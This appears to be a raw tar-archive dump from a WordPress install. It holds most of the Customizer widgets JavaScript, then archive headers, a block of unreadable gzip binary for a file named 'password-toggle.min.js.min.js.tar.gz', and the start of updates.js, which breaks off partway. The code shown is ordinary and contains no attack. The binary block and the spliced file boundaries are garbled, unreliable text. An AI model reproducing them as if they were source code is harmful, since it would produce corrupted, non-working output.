		expand: api.Section.prototype.expand,

		/**
		 * Expand the widget form control
		 *
		 * @deprecated 4.1.0 Use this.expand() instead.
		 */
		expandForm: function() {
			this.expand();
		},

		/**
		 * @since 4.1.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already collapsed.
		 */
		collapse: api.Section.prototype.collapse,

		/**
		 * Collapse the widget form control
		 *
		 * @deprecated 4.1.0 Use this.collapse() instead.
		 */
		collapseForm: function() {
			this.collapse();
		},

		/**
		 * Expand or collapse the widget control
		 *
		 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
		 *
		 * @param {boolean|undefined} [showOrHide] If not supplied, will be inverse of current visibility
		 */
		toggleForm: function( showOrHide ) {
			if ( typeof showOrHide === 'undefined' ) {
				showOrHide = ! this.expanded();
			}
			this.expanded( showOrHide );
		},

		/**
		 * Respond to change in the expanded state.
		 *
		 * @param {boolean} expanded
		 * @param {Object} args  merged on top of this.defaultActiveArguments
		 */
		onChangeExpanded: function ( expanded, args ) {
			var self = this, $widget, $inside, complete, prevComplete, expandControl, $toggleBtn;

			self.embedWidgetControl(); // Make sure the outer form is embedded so that the expanded state can be set in the UI.
			if ( expanded ) {
				self.embedWidgetContent();
			}

			// If the expanded state is unchanged only manipulate container expanded states.
			if ( args.unchanged ) {
				if ( expanded ) {
					api.Control.prototype.expand.call( self, {
						completeCallback:  args.completeCallback
					});
				}
				return;
			}

			$widget = this.container.find( 'div.widget:first' );
			$inside = $widget.find( '.widget-inside:first' );
			$toggleBtn = this.container.find( '.widget-top button.widget-action' );

			expandControl = function() {

				// Close all other widget controls before expanding this one.
				api.control.each( function( otherControl ) {
					if ( self.params.type === otherControl.params.type && self !== otherControl ) {
						otherControl.collapse();
					}
				} );

				complete = function() {
					self.container.removeClass( 'expanding' );
					self.container.addClass( 'expanded' );
					$widget.addClass( 'open' );
					$toggleBtn.attr( 'aria-expanded', 'true' );
					self.container.trigger( 'expanded' );
				};
				if ( args.completeCallback ) {
					prevComplete = complete;
					complete = function () {
						prevComplete();
						args.completeCallback();
					};
				}

				if ( self.params.is_wide ) {
					$inside.fadeIn( args.duration, complete );
				} else {
					$inside.slideDown( args.duration, complete );
				}

				self.container.trigger( 'expand' );
				self.container.addClass( 'expanding' );
			};

			if ( $toggleBtn.attr( 'aria-expanded' ) === 'false' ) {
				if ( api.section.has( self.section() ) ) {
					api.section( self.section() ).expand( {
						completeCallback: expandControl
					} );
				} else {
					expandControl();
				}
			} else {
				complete = function() {
					self.container.removeClass( 'collapsing' );
					self.container.removeClass( 'expanded' );
					$widget.removeClass( 'open' );
					$toggleBtn.attr( 'aria-expanded', 'false' );
					self.container.trigger( 'collapsed' );
				};
				if ( args.completeCallback ) {
					prevComplete = complete;
					complete = function () {
						prevComplete();
						args.completeCallback();
					};
				}

				self.container.trigger( 'collapse' );
				self.container.addClass( 'collapsing' );

				if ( self.params.is_wide ) {
					$inside.fadeOut( args.duration, complete );
				} else {
					$inside.slideUp( args.duration, function() {
						$widget.css( { width:'', margin:'' } );
						complete();
					} );
				}
			}
		},

		/**
		 * Get the position (index) of the widget in the containing sidebar
		 *
		 * @return {number}
		 */
		getWidgetSidebarPosition: function() {
			var sidebarWidgetIds, position;

			sidebarWidgetIds = this.getSidebarWidgetsControl().setting();
			position = _.indexOf( sidebarWidgetIds, this.params.widget_id );

			if ( position === -1 ) {
				return;
			}

			return position;
		},

		/**
		 * Move widget up one in the sidebar
		 */
		moveUp: function() {
			this._moveWidgetByOne( -1 );
		},

		/**
		 * Move widget up one in the sidebar
		 */
		moveDown: function() {
			this._moveWidgetByOne( 1 );
		},

		/**
		 * @private
		 *
		 * @param {number} offset 1|-1
		 */
		_moveWidgetByOne: function( offset ) {
			var i, sidebarWidgetsSetting, sidebarWidgetIds,	adjacentWidgetId;

			i = this.getWidgetSidebarPosition();

			sidebarWidgetsSetting = this.getSidebarWidgetsControl().setting;
			sidebarWidgetIds = Array.prototype.slice.call( sidebarWidgetsSetting() ); // Clone.
			adjacentWidgetId = sidebarWidgetIds[i + offset];
			sidebarWidgetIds[i + offset] = this.params.widget_id;
			sidebarWidgetIds[i] = adjacentWidgetId;

			sidebarWidgetsSetting( sidebarWidgetIds );
		},

		/**
		 * Toggle visibility of the widget move area
		 *
		 * @param {boolean} [showOrHide]
		 */
		toggleWidgetMoveArea: function( showOrHide ) {
			var self = this, $moveWidgetArea;

			$moveWidgetArea = this.container.find( '.move-widget-area' );

			if ( typeof showOrHide === 'undefined' ) {
				showOrHide = ! $moveWidgetArea.hasClass( 'active' );
			}

			if ( showOrHide ) {
				// Reset the selected sidebar.
				$moveWidgetArea.find( '.selected' ).removeClass( 'selected' );

				$moveWidgetArea.find( 'li' ).filter( function() {
					return $( this ).data( 'id' ) === self.params.sidebar_id;
				} ).addClass( 'selected' );

				this.container.find( '.move-widget-btn' ).prop( 'disabled', true );
			}

			$moveWidgetArea.toggleClass( 'active', showOrHide );
		},

		/**
		 * Highlight the widget control and section
		 */
		highlightSectionAndControl: function() {
			var $target;

			if ( this.container.is( ':hidden' ) ) {
				$target = this.container.closest( '.control-section' );
			} else {
				$target = this.container;
			}

			$( '.highlighted' ).removeClass( 'highlighted' );
			$target.addClass( 'highlighted' );

			setTimeout( function() {
				$target.removeClass( 'highlighted' );
			}, 500 );
		}
	} );

	/**
	 * wp.customize.Widgets.WidgetsPanel
	 *
	 * Customizer panel containing the widget area sections.
	 *
	 * @since 4.4.0
	 *
	 * @class    wp.customize.Widgets.WidgetsPanel
	 * @augments wp.customize.Panel
	 */
	api.Widgets.WidgetsPanel = api.Panel.extend(/** @lends wp.customize.Widgets.WigetsPanel.prototype */{

		/**
		 * Add and manage the display of the no-rendered-areas notice.
		 *
		 * @since 4.4.0
		 */
		ready: function () {
			var panel = this;

			api.Panel.prototype.ready.call( panel );

			panel.deferred.embedded.done(function() {
				var panelMetaContainer, noticeContainer, updateNotice, getActiveSectionCount, shouldShowNotice;
				panelMetaContainer = panel.container.find( '.panel-meta' );

				// @todo This should use the Notifications API introduced to panels. See <https://core.trac.wordpress.org/ticket/38794>.
				noticeContainer = $( '<div></div>', {
					'class': 'no-widget-areas-rendered-notice'
				});
				panelMetaContainer.append( noticeContainer );

				/**
				 * Get the number of active sections in the panel.
				 *
				 * @return {number} Number of active sidebar sections.
				 */
				getActiveSectionCount = function() {
					return _.filter( panel.sections(), function( section ) {
						return 'sidebar' === section.params.type && section.active();
					} ).length;
				};

				/**
				 * Determine whether or not the notice should be displayed.
				 *
				 * @return {boolean}
				 */
				shouldShowNotice = function() {
					var activeSectionCount = getActiveSectionCount();
					if ( 0 === activeSectionCount ) {
						return true;
					} else {
						return activeSectionCount !== api.Widgets.data.registeredSidebars.length;
					}
				};

				/**
				 * Update the notice.
				 *
				 * @return {void}
				 */
				updateNotice = function() {
					var activeSectionCount = getActiveSectionCount(), someRenderedMessage, nonRenderedAreaCount, registeredAreaCount;
					noticeContainer.empty();

					registeredAreaCount = api.Widgets.data.registeredSidebars.length;
					if ( activeSectionCount !== registeredAreaCount ) {

						if ( 0 !== activeSectionCount ) {
							nonRenderedAreaCount = registeredAreaCount - activeSectionCount;
							someRenderedMessage = l10n.someAreasShown[ nonRenderedAreaCount ];
						} else {
							someRenderedMessage = l10n.noAreasShown;
						}
						if ( someRenderedMessage ) {
							noticeContainer.append( $( '<p></p>', {
								text: someRenderedMessage
							} ) );
						}

						noticeContainer.append( $( '<p></p>', {
							text: l10n.navigatePreview
						} ) );
					}
				};
				updateNotice();

				/*
				 * Set the initial visibility state for rendered notice.
				 * Update the visibility of the notice whenever a reflow happens.
				 */
				noticeContainer.toggle( shouldShowNotice() );
				api.previewer.deferred.active.done( function () {
					noticeContainer.toggle( shouldShowNotice() );
				});
				api.bind( 'pane-contents-reflowed', function() {
					var duration = ( 'resolved' === api.previewer.deferred.active.state() ) ? 'fast' : 0;
					updateNotice();
					if ( shouldShowNotice() ) {
						noticeContainer.slideDown( duration );
					} else {
						noticeContainer.slideUp( duration );
					}
				});
			});
		},

		/**
		 * Allow an active widgets panel to be contextually active even when it has no active sections (widget areas).
		 *
		 * This ensures that the widgets panel appears even when there are no
		 * sidebars displayed on the URL currently being previewed.
		 *
		 * @since 4.4.0
		 *
		 * @return {boolean}
		 */
		isContextuallyActive: function() {
			var panel = this;
			return panel.active();
		}
	});

	/**
	 * wp.customize.Widgets.SidebarSection
	 *
	 * Customizer section representing a widget area widget
	 *
	 * @since 4.1.0
	 *
	 * @class    wp.customize.Widgets.SidebarSection
	 * @augments wp.customize.Section
	 */
	api.Widgets.SidebarSection = api.Section.extend(/** @lends wp.customize.Widgets.SidebarSection.prototype */{

		/**
		 * Sync the section's active state back to the Backbone model's is_rendered attribute
		 *
		 * @since 4.1.0
		 */
		ready: function () {
			var section = this, registeredSidebar;
			api.Section.prototype.ready.call( this );
			registeredSidebar = api.Widgets.registeredSidebars.get( section.params.sidebarId );
			section.active.bind( function ( active ) {
				registeredSidebar.set( 'is_rendered', active );
			});
			registeredSidebar.set( 'is_rendered', section.active() );
		}
	});

	/**
	 * wp.customize.Widgets.SidebarControl
	 *
	 * Customizer control for widgets.
	 * Note that 'sidebar_widgets' must match the WP_Widget_Area_Customize_Control::$type
	 *
	 * @since 3.9.0
	 *
	 * @class    wp.customize.Widgets.SidebarControl
	 * @augments wp.customize.Control
	 */
	api.Widgets.SidebarControl = api.Control.extend(/** @lends wp.customize.Widgets.SidebarControl.prototype */{

		/**
		 * Set up the control
		 */
		ready: function() {
			this.$controlSection = this.container.closest( '.control-section' );
			this.$sectionContent = this.container.closest( '.accordion-section-content' );

			this._setupModel();
			this._setupSortable();
			this._setupAddition();
			this._applyCardinalOrderClassNames();
		},

		/**
		 * Update ordering of widget control forms when the setting is updated
		 */
		_setupModel: function() {
			var self = this;

			this.setting.bind( function( newWidgetIds, oldWidgetIds ) {
				var widgetFormControls, removedWidgetIds, priority;

				removedWidgetIds = _( oldWidgetIds ).difference( newWidgetIds );

				// Filter out any persistent widget IDs for widgets which have been deactivated.
				newWidgetIds = _( newWidgetIds ).filter( function( newWidgetId ) {
					var parsedWidgetId = parseWidgetId( newWidgetId );

					return !! api.Widgets.availableWidgets.findWhere( { id_base: parsedWidgetId.id_base } );
				} );

				widgetFormControls = _( newWidgetIds ).map( function( widgetId ) {
					var widgetFormControl = api.Widgets.getWidgetFormControlForWidget( widgetId );

					if ( ! widgetFormControl ) {
						widgetFormControl = self.addWidget( widgetId );
					}

					return widgetFormControl;
				} );

				// Sort widget controls to their new positions.
				widgetFormControls.sort( function( a, b ) {
					var aIndex = _.indexOf( newWidgetIds, a.params.widget_id ),
						bIndex = _.indexOf( newWidgetIds, b.params.widget_id );
					return aIndex - bIndex;
				});

				priority = 0;
				_( widgetFormControls ).each( function ( control ) {
					control.priority( priority );
					control.section( self.section() );
					priority += 1;
				});
				self.priority( priority ); // Make sure sidebar control remains at end.

				// Re-sort widget form controls (including widgets form other sidebars newly moved here).
				self._applyCardinalOrderClassNames();

				// If the widget was dragged into the sidebar, make sure the sidebar_id param is updated.
				_( widgetFormControls ).each( function( widgetFormControl ) {
					widgetFormControl.params.sidebar_id = self.params.sidebar_id;
				} );

				// Cleanup after widget removal.
				_( removedWidgetIds ).each( function( removedWidgetId ) {

					// Using setTimeout so that when moving a widget to another sidebar,
					// the other sidebars_widgets settings get a chance to update.
					setTimeout( function() {
						var removedControl, wasDraggedToAnotherSidebar, inactiveWidgets, removedIdBase,
							widget, isPresentInAnotherSidebar = false;

						// Check if the widget is in another sidebar.
						api.each( function( otherSetting ) {
							if ( otherSetting.id === self.setting.id || 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) || otherSetting.id === 'sidebars_widgets[wp_inactive_widgets]' ) {
								return;
							}

							var otherSidebarWidgets = otherSetting(), i;

							i = _.indexOf( otherSidebarWidgets, removedWidgetId );
							if ( -1 !== i ) {
								isPresentInAnotherSidebar = true;
							}
						} );

						// If the widget is present in another sidebar, abort!
						if ( isPresentInAnotherSidebar ) {
							return;
						}

						removedControl = api.Widgets.getWidgetFormControlForWidget( removedWidgetId );

						// Detect if widget control was dragged to another sidebar.
						wasDraggedToAnotherSidebar = removedControl && $.contains( document, removedControl.container[0] ) && ! $.contains( self.$sectionContent[0], removedControl.container[0] );

						// Delete any widget form controls for removed widgets.
						if ( removedControl && ! wasDraggedToAnotherSidebar ) {
							api.control.remove( removedControl.id );
							removedControl.container.remove();
						}

						// Move widget to inactive widgets sidebar (move it to Trash) if has been previously saved.
						// This prevents the inactive widgets sidebar from overflowing with throwaway widgets.
						if ( api.Widgets.savedWidgetIds[removedWidgetId] ) {
							inactiveWidgets = api.value( 'sidebars_widgets[wp_inactive_widgets]' )().slice();
							inactiveWidgets.push( removedWidgetId );
							api.value( 'sidebars_widgets[wp_inactive_widgets]' )( _( inactiveWidgets ).unique() );
						}

						// Make old single widget available for adding again.
						removedIdBase = parseWidgetId( removedWidgetId ).id_base;
						widget = api.Widgets.availableWidgets.findWhere( { id_base: removedIdBase } );
						if ( widget && ! widget.get( 'is_multi' ) ) {
							widget.set( 'is_disabled', false );
						}
					} );

				} );
			} );
		},

		/**
		 * Allow widgets in sidebar to be re-ordered, and for the order to be previewed
		 */
		_setupSortable: function() {
			var self = this;

			this.isReordering = false;

			/**
			 * Update widget order setting when controls are re-ordered
			 */
			this.$sectionContent.sortable( {
				items: '> .customize-control-widget_form',
				handle: '.widget-top',
				axis: 'y',
				tolerance: 'pointer',
				connectWith: '.accordion-section-content:has(.customize-control-sidebar_widgets)',
				update: function() {
					var widgetContainerIds = self.$sectionContent.sortable( 'toArray' ), widgetIds;

					widgetIds = $.map( widgetContainerIds, function( widgetContainerId ) {
						return $( '#' + widgetContainerId ).find( ':input[name=widget-id]' ).val();
					} );

					self.setting( widgetIds );
				}
			} );

			/**
			 * Expand other Customizer sidebar section when dragging a control widget over it,
			 * allowing the control to be dropped into another section
			 */
			this.$controlSection.find( '.accordion-section-title' ).droppable({
				accept: '.customize-control-widget_form',
				over: function() {
					var section = api.section( self.section.get() );
					section.expand({
						allowMultiple: true, // Prevent the section being dragged from to be collapsed.
						completeCallback: function () {
							// @todo It is not clear when refreshPositions should be called on which sections, or if it is even needed.
							api.section.each( function ( otherSection ) {
								if ( otherSection.container.find( '.customize-control-sidebar_widgets' ).length ) {
									otherSection.container.find( '.accordion-section-content:first' ).sortable( 'refreshPositions' );
								}
							} );
						}
					});
				}
			});

			/**
			 * Keyboard-accessible reordering
			 */
			this.container.find( '.reorder-toggle' ).on( 'click', function() {
				self.toggleReordering( ! self.isReordering );
			} );
		},

		/**
		 * Set up UI for adding a new widget
		 */
		_setupAddition: function() {
			var self = this;

			this.container.find( '.add-new-widget' ).on( 'click', function() {
				var addNewWidgetBtn = $( this );

				if ( self.$sectionContent.hasClass( 'reordering' ) ) {
					return;
				}

				if ( ! $( 'body' ).hasClass( 'adding-widget' ) ) {
					addNewWidgetBtn.attr( 'aria-expanded', 'true' );
					api.Widgets.availableWidgetsPanel.open( self );
				} else {
					addNewWidgetBtn.attr( 'aria-expanded', 'false' );
					api.Widgets.availableWidgetsPanel.close();
				}
			} );
		},

		/**
		 * Add classes to the widget_form controls to assist with styling
		 */
		_applyCardinalOrderClassNames: function() {
			var widgetControls = [];
			_.each( this.setting(), function ( widgetId ) {
				var widgetControl = api.Widgets.getWidgetFormControlForWidget( widgetId );
				if ( widgetControl ) {
					widgetControls.push( widgetControl );
				}
			});

			if ( 0 === widgetControls.length || ( 1 === api.Widgets.registeredSidebars.length && widgetControls.length <= 1 ) ) {
				this.container.find( '.reorder-toggle' ).hide();
				return;
			} else {
				this.container.find( '.reorder-toggle' ).show();
			}

			$( widgetControls ).each( function () {
				$( this.container )
					.removeClass( 'first-widget' )
					.removeClass( 'last-widget' )
					.find( '.move-widget-down, .move-widget-up' ).prop( 'tabIndex', 0 );
			});

			_.first( widgetControls ).container
				.addClass( 'first-widget' )
				.find( '.move-widget-up' ).prop( 'tabIndex', -1 );

			_.last( widgetControls ).container
				.addClass( 'last-widget' )
				.find( '.move-widget-down' ).prop( 'tabIndex', -1 );
		},


		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * Enable/disable the reordering UI
		 *
		 * @param {boolean} showOrHide to enable/disable reordering
		 *
		 * @todo We should have a reordering state instead and rename this to onChangeReordering
		 */
		toggleReordering: function( showOrHide ) {
			var addNewWidgetBtn = this.$sectionContent.find( '.add-new-widget' ),
				reorderBtn = this.container.find( '.reorder-toggle' ),
				widgetsTitle = this.$sectionContent.find( '.widget-title' );

			showOrHide = Boolean( showOrHide );

			if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) {
				return;
			}

			this.isReordering = showOrHide;
			this.$sectionContent.toggleClass( 'reordering', showOrHide );

			if ( showOrHide ) {
				_( this.getWidgetFormControls() ).each( function( formControl ) {
					formControl.collapse();
				} );

				addNewWidgetBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				reorderBtn.attr( 'aria-label', l10n.reorderLabelOff );
				wp.a11y.speak( l10n.reorderModeOn );
				// Hide widget titles while reordering: title is already in the reorder controls.
				widgetsTitle.attr( 'aria-hidden', 'true' );
			} else {
				addNewWidgetBtn.removeAttr( 'tabindex aria-hidden' );
				reorderBtn.attr( 'aria-label', l10n.reorderLabelOn );
				wp.a11y.speak( l10n.reorderModeOff );
				widgetsTitle.attr( 'aria-hidden', 'false' );
			}
		},

		/**
		 * Get the widget_form Customize controls associated with the current sidebar.
		 *
		 * @since 3.9.0
		 * @return {wp.customize.controlConstructor.widget_form[]}
		 */
		getWidgetFormControls: function() {
			var formControls = [];

			_( this.setting() ).each( function( widgetId ) {
				var settingId = widgetIdToSettingId( widgetId ),
					formControl = api.control( settingId );
				if ( formControl ) {
					formControls.push( formControl );
				}
			} );

			return formControls;
		},

		/**
		 * @param {string} widgetId or an id_base for adding a previously non-existing widget.
		 * @return {Object|false} widget_form control instance, or false on error.
		 */
		addWidget: function( widgetId ) {
			var self = this, controlHtml, $widget, controlType = 'widget_form', controlContainer, controlConstructor,
				parsedWidgetId = parseWidgetId( widgetId ),
				widgetNumber = parsedWidgetId.number,
				widgetIdBase = parsedWidgetId.id_base,
				widget = api.Widgets.availableWidgets.findWhere( {id_base: widgetIdBase} ),
				settingId, isExistingWidget, widgetFormControl, sidebarWidgets, settingArgs, setting;

			if ( ! widget ) {
				return false;
			}

			if ( widgetNumber && ! widget.get( 'is_multi' ) ) {
				return false;
			}

			// Set up new multi widget.
			if ( widget.get( 'is_multi' ) && ! widgetNumber ) {
				widget.set( 'multi_number', widget.get( 'multi_number' ) + 1 );
				widgetNumber = widget.get( 'multi_number' );
			}

			controlHtml = $( '#widget-tpl-' + widget.get( 'id' ) ).html().trim();
			if ( widget.get( 'is_multi' ) ) {
				controlHtml = controlHtml.replace( /<[^<>]+>/g, function( m ) {
					return m.replace( /__i__|%i%/g, widgetNumber );
				} );
			} else {
				widget.set( 'is_disabled', true ); // Prevent single widget from being added again now.
			}

			$widget = $( controlHtml );

			controlContainer = $( '<li/>' )
				.addClass( 'customize-control' )
				.addClass( 'customize-control-' + controlType )
				.append( $widget );

			// Remove icon which is visible inside the panel.
			controlContainer.find( '> .widget-icon' ).remove();

			if ( widget.get( 'is_multi' ) ) {
				controlContainer.find( 'input[name="widget_number"]' ).val( widgetNumber );
				controlContainer.find( 'input[name="multi_number"]' ).val( widgetNumber );
			}

			widgetId = controlContainer.find( '[name="widget-id"]' ).val();

			controlContainer.hide(); // To be slid-down below.

			settingId = 'widget_' + widget.get( 'id_base' );
			if ( widget.get( 'is_multi' ) ) {
				settingId += '[' + widgetNumber + ']';
			}
			controlContainer.attr( 'id', 'customize-control-' + settingId.replace( /\]/g, '' ).replace( /\[/g, '-' ) );

			// Only create setting if it doesn't already exist (if we're adding a pre-existing inactive widget).
			isExistingWidget = api.has( settingId );
			if ( ! isExistingWidget ) {
				settingArgs = {
					transport: api.Widgets.data.selectiveRefreshableWidgets[ widget.get( 'id_base' ) ] ? 'postMessage' : 'refresh',
					previewer: this.setting.previewer
				};
				setting = api.create( settingId, settingId, '', settingArgs );
				setting.set( {} ); // Mark dirty, changing from '' to {}.
			}

			controlConstructor = api.controlConstructor[controlType];
			widgetFormControl = new controlConstructor( settingId, {
				settings: {
					'default': settingId
				},
				content: controlContainer,
				sidebar_id: self.params.sidebar_id,
				widget_id: widgetId,
				widget_id_base: widget.get( 'id_base' ),
				type: controlType,
				is_new: ! isExistingWidget,
				width: widget.get( 'width' ),
				height: widget.get( 'height' ),
				is_wide: widget.get( 'is_wide' )
			} );
			api.control.add( widgetFormControl );

			// Make sure widget is removed from the other sidebars.
			api.each( function( otherSetting ) {
				if ( otherSetting.id === self.setting.id ) {
					return;
				}

				if ( 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) ) {
					return;
				}

				var otherSidebarWidgets = otherSetting().slice(),
					i = _.indexOf( otherSidebarWidgets, widgetId );

				if ( -1 !== i ) {
					otherSidebarWidgets.splice( i );
					otherSetting( otherSidebarWidgets );
				}
			} );

			// Add widget to this sidebar.
			sidebarWidgets = this.setting().slice();
			if ( -1 === _.indexOf( sidebarWidgets, widgetId ) ) {
				sidebarWidgets.push( widgetId );
				this.setting( sidebarWidgets );
			}

			controlContainer.slideDown( function() {
				if ( isExistingWidget ) {
					widgetFormControl.updateWidget( {
						instance: widgetFormControl.setting()
					} );
				}
			} );

			return widgetFormControl;
		}
	} );

	// Register models for custom panel, section, and control types.
	$.extend( api.panelConstructor, {
		widgets: api.Widgets.WidgetsPanel
	});
	$.extend( api.sectionConstructor, {
		sidebar: api.Widgets.SidebarSection
	});
	$.extend( api.controlConstructor, {
		widget_form: api.Widgets.WidgetControl,
		sidebar_widgets: api.Widgets.SidebarControl
	});

	/**
	 * Init Customizer for widgets.
	 */
	api.bind( 'ready', function() {
		// Set up the widgets panel.
		api.Widgets.availableWidgetsPanel = new api.Widgets.AvailableWidgetsPanelView({
			collection: api.Widgets.availableWidgets
		});

		// Highlight widget control.
		api.previewer.bind( 'highlight-widget-control', api.Widgets.highlightWidgetFormControl );

		// Open and focus widget control.
		api.previewer.bind( 'focus-widget-control', api.Widgets.focusWidgetFormControl );
	} );

	/**
	 * Highlight a widget control.
	 *
	 * @param {string} widgetId
	 */
	api.Widgets.highlightWidgetFormControl = function( widgetId ) {
		var control = api.Widgets.getWidgetFormControlForWidget( widgetId );

		if ( control ) {
			control.highlightSectionAndControl();
		}
	},

	/**
	 * Focus a widget control.
	 *
	 * @param {string} widgetId
	 */
	api.Widgets.focusWidgetFormControl = function( widgetId ) {
		var control = api.Widgets.getWidgetFormControlForWidget( widgetId );

		if ( control ) {
			control.focus();
		}
	},

	/**
	 * Given a widget control, find the sidebar widgets control that contains it.
	 * @param {string} widgetId
	 * @return {Object|null}
	 */
	api.Widgets.getSidebarWidgetControlContainingWidget = function( widgetId ) {
		var foundControl = null;

		// @todo This can use widgetIdToSettingId(), then pass into wp.customize.control( x ).getSidebarWidgetsControl().
		api.control.each( function( control ) {
			if ( control.params.type === 'sidebar_widgets' && -1 !== _.indexOf( control.setting(), widgetId ) ) {
				foundControl = control;
			}
		} );

		return foundControl;
	};

	/**
	 * Given a widget ID for a widget appearing in the preview, get the widget form control associated with it.
	 *
	 * @param {string} widgetId
	 * @return {Object|null}
	 */
	api.Widgets.getWidgetFormControlForWidget = function( widgetId ) {
		var foundControl = null;

		// @todo We can just use widgetIdToSettingId() here.
		api.control.each( function( control ) {
			if ( control.params.type === 'widget_form' && control.params.widget_id === widgetId ) {
				foundControl = control;
			}
		} );

		return foundControl;
	};

	/**
	 * Initialize Edit Menu button in Nav Menu widget.
	 */
	$( document ).on( 'widget-added', function( event, widgetContainer ) {
		var parsedWidgetId, widgetControl, navMenuSelect, editMenuButton;
		parsedWidgetId = parseWidgetId( widgetContainer.find( '> .widget-inside > .form > .widget-id' ).val() );
		if ( 'nav_menu' !== parsedWidgetId.id_base ) {
			return;
		}
		widgetControl = api.control( 'widget_nav_menu[' + String( parsedWidgetId.number ) + ']' );
		if ( ! widgetControl ) {
			return;
		}
		navMenuSelect = widgetContainer.find( 'select[name*="nav_menu"]' );
		editMenuButton = widgetContainer.find( '.edit-selected-nav-menu > button' );
		if ( 0 === navMenuSelect.length || 0 === editMenuButton.length ) {
			return;
		}
		navMenuSelect.on( 'change', function() {
			if ( api.section.has( 'nav_menu[' + navMenuSelect.val() + ']' ) ) {
				editMenuButton.parent().show();
			} else {
				editMenuButton.parent().hide();
			}
		});
		editMenuButton.on( 'click', function() {
			var section = api.section( 'nav_menu[' + navMenuSelect.val() + ']' );
			if ( section ) {
				focusConstructWithBreadcrumb( section, widgetControl );
			}
		} );
	} );

	/**
	 * Focus (expand) one construct and then focus on another construct after the first is collapsed.
	 *
	 * This overrides the back button to serve the purpose of breadcrumb navigation.
	 *
	 * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} focusConstruct - The object to initially focus.
	 * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} returnConstruct - The object to return focus.
	 */
	function focusConstructWithBreadcrumb( focusConstruct, returnConstruct ) {
		focusConstruct.focus();
		function onceCollapsed( isExpanded ) {
			if ( ! isExpanded ) {
				focusConstruct.expanded.unbind( onceCollapsed );
				returnConstruct.focus();
			}
		}
		focusConstruct.expanded.bind( onceCollapsed );
	}

	/**
	 * @param {string} widgetId
	 * @return {Object}
	 */
	function parseWidgetId( widgetId ) {
		var matches, parsed = {
			number: null,
			id_base: null
		};

		matches = widgetId.match( /^(.+)-(\d+)$/ );
		if ( matches ) {
			parsed.id_base = matches[1];
			parsed.number = parseInt( matches[2], 10 );
		} else {
			// Likely an old single widget.
			parsed.id_base = widgetId;
		}

		return parsed;
	}

	/**
	 * @param {string} widgetId
	 * @return {string} settingId
	 */
	function widgetIdToSettingId( widgetId ) {
		var parsed = parseWidgetId( widgetId ), settingId;

		settingId = 'widget_' + parsed.id_base;
		if ( parsed.number ) {
			settingId += '[' + parsed.number + ']';
		}

		return settingId;
	}

})( window.wp, jQuery );
password-toggle.min.js.min.js.tar.gz000064400000000772150276633100013417 0ustar00��SMk�@͹�B�I
���|�4��Ci/ɭ��֎�uW���Ȯ)��9�k�
m~���3�-o+[Cj*4`�ҁG�}�@����I���I�>m���:���4pj�?ُ�puq��O�/��'�eֻ�{�9}gY��y�0��ђaG+�Ʈ���i�X)����h�&#0����W��֔�����d�<SLӆ����OO�+N ���H>�Atj�"D�(��	cϔF80��PS�e���7�y�PGa3�D��K�?��)������*��a�9����l��L̊� 	�F��,~-���Jgy�vP�S"�b:d"
o��`�`˜�n�q�Ь���2t㷏����4/;��#wP�ɦ�d��(�p�ERn�*%%��v���k��b�e�^7a���여m^A<��l1�ւ�=�����:
9�h�=>��/�*Z�)�;ĐH�016S��bB+:Z�D��Ԫ�2��y_���|�Gq0~e�%�
updates.js000064400000272433150276633100006565 0ustar00/**
 * Functions for ajaxified updates, deletions and installs inside the WordPress admin.
 *
 * @version 4.2.0
 * @output wp-admin/js/updates.js
 */

/* global pagenow, _wpThemeSettings */

/**
 * @param {jQuery}  $                                        jQuery object.
 * @param {object}  wp                                       WP object.
 * @param {object}  settings                                 WP Updates settings.
 * @param {string}  settings.ajax_nonce                      Ajax nonce.
 * @param {object=} settings.plugins                         Base names of plugins in their different states.
 * @param {Array}   settings.plugins.all                     Base names of all plugins.
 * @param {Array}   settings.plugins.active                  Base names of active plugins.
 * @param {Array}   settings.plugins.inactive                Base names of inactive plugins.
 * @param {Array}   settings.plugins.upgrade                 Base names of plugins with updates available.
 * @param {Array}   settings.plugins.recently_activated      Base names of recently activated plugins.
 * @param {Array}   settings.plugins['auto-update-enabled']  Base names of plugins set to auto-update.
 * @param {Array}   settings.plugins['auto-update-disabled'] Base names of plugins set to not auto-update.
 * @param {object=} settings.themes                          Slugs of themes in their different states.
 * @param {Array}   settings.themes.all                      Slugs of all themes.
 * @param {Array}   settings.themes.upgrade                  Slugs of themes with updates available.
 * @param {Arrat}   settings.themes.disabled                 Slugs of disabled themes.
 * @param {Array}   settings.themes['auto-update-enabled']   Slugs of themes set to auto-update.
 * @param {Array}   settings.themes['auto-update-disabled']  Slugs of themes set to not auto-update.
 * @param {object=} settings.totals                          Combined information for available update counts.
 * @param {number}  settings.totals.count                    Holds the amount of available updates.
 */
(function( $, wp, settings ) {
	var $document = $( document ),
		__ = wp.i18n.__,
		_x = wp.i18n._x,
		_n = wp.i18n._n,
		_nx = wp.i18n._nx,
		sprintf = wp.i18n.sprintf;

	wp = wp || {};

	/**
	 * The WP Updates object.
	 *
	 * @since 4.2.0
	 *
	 * @namespace wp.updates
	 */
	wp.updates = {};

	/**
	 * Removed in 5.5.0, needed for back-compatibility.
	 *
	 * @since 4.2.0
	 * @deprecated 5.5.0
	 *
	 * @type {object}
	 */
	wp.updates.l10n = {
		searchResults: '',
		searchResultsLabel: '',
		noPlugins: '',
		noItemsSelected: '',
		updating: '',
		pluginUpdated: '',
		themeUpdated: '',
		update: '',
		updateNow: '',
		pluginUpdateNowLabel: '',
		updateFailedShort: '',
		updateFailed: '',
		pluginUpdatingLabel: '',
		pluginUpdatedLabel: '',
		pluginUpdateFailedLabel: '',
		updatingMsg: '',
		updatedMsg: '',
		updateCancel: '',
		beforeunload: '',
		installNow: '',
		pluginInstallNowLabel: '',
		installing: '',
		pluginInstalled: '',
		themeInstalled: '',
		installFailedShort: '',
		installFailed: '',
		pluginInstallingLabel: '',
		themeInstallingLabel: '',
		pluginInstalledLabel: '',
		themeInstalledLabel: '',
		pluginInstallFailedLabel: '',
		themeInstallFailedLabel: '',
		installingMsg: '',
		installedMsg: '',
		importerInstalledMsg: '',
